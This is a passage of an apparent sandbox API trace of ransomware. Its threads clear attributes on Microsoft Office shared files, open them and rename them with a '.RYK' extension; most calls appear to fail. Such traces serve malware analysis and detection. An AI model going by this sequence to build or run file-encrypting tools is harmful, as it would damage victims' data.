	[0174.061] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 562
	os_tid = 0x1064

	[0174.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", dwFileAttributes=0x80) returned 0
	[0174.063] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.063] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.063] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 563
	os_tid = 0x1068

	[0174.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", dwFileAttributes=0x80) returned 0
	[0174.065] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.065] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.065] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 564
	os_tid = 0x106c

	[0174.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", dwFileAttributes=0x80) returned 0
	[0174.067] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.068] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.068] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 565
	os_tid = 0x1070

	[0174.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", dwFileAttributes=0x80) returned 0
	[0174.138] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.138] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.138] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 566
	os_tid = 0x107c

	[0174.294] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", dwFileAttributes=0x80) returned 0
	[0174.294] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.294] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.294] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 567
	os_tid = 0x1080

	[0174.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", dwFileAttributes=0x80) returned 0
	[0174.297] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.297] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.297] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 568
	os_tid = 0x1084

	[0174.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", dwFileAttributes=0x80) returned 0
	[0174.450] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.450] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.450] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 569
	os_tid = 0x1088

	[0174.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", dwFileAttributes=0x80) returned 0
	[0174.300] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.301] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.301] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 570
	os_tid = 0x108c

	[0174.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", dwFileAttributes=0x80) returned 0
	[0174.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.303] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.303] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 571
	os_tid = 0x1090

	[0174.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", dwFileAttributes=0x80) returned 0
	[0174.538] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.723] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.723] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 572
	os_tid = 0x1094

	[0174.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", dwFileAttributes=0x80) returned 0
	[0174.537] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.734] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.734] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 573
	os_tid = 0x1098

	[0174.454] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", dwFileAttributes=0x80) returned 0
	[0174.624] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.625] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.625] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 574
	os_tid = 0x109c

	[0174.454] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM", dwFileAttributes=0x80) returned 0
	[0174.624] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.715] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.715] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 575
	os_tid = 0x10a0

	[0174.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", dwFileAttributes=0x80) returned 0
	[0174.623] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.717] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.717] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 576
	os_tid = 0x10a4

	[0174.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", dwFileAttributes=0x80) returned 0
	[0174.622] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.719] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.719] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 577
	os_tid = 0x10a8

	[0174.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", dwFileAttributes=0x80) returned 0
	[0174.622] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.721] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.722] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 578
	os_tid = 0x10ac


Thread:
	id = 579
	os_tid = 0x10b4

	[0174.626] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX", dwFileAttributes=0x80) returned 0
	[0174.627] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.627] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.627] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 580
	os_tid = 0x10b8

	[0174.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX", dwFileAttributes=0x80) returned 0
	[0174.629] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.629] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.629] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 581
	os_tid = 0x10bc

	[0174.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX", dwFileAttributes=0x80) returned 0
	[0174.632] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.632] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.632] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 582
	os_tid = 0x10c0

	[0174.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX", dwFileAttributes=0x80) returned 0
	[0174.634] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.634] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.634] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 583
	os_tid = 0x10c4

	[0174.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX", dwFileAttributes=0x80) returned 0
	[0174.636] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.637] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.637] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 584
	os_tid = 0x10c8

	[0174.742] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP", dwFileAttributes=0x80) returned 0
	[0174.748] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.758] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.758] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 585
	os_tid = 0x10cc

	[0174.765] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX", dwFileAttributes=0x80) returned 0
	[0174.974] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.975] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.975] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 586
	os_tid = 0x10d0

	[0174.769] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX", dwFileAttributes=0x80) returned 0
	[0174.977] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.977] CloseHandle (hObject=0xffffffffffffffff) returned 0
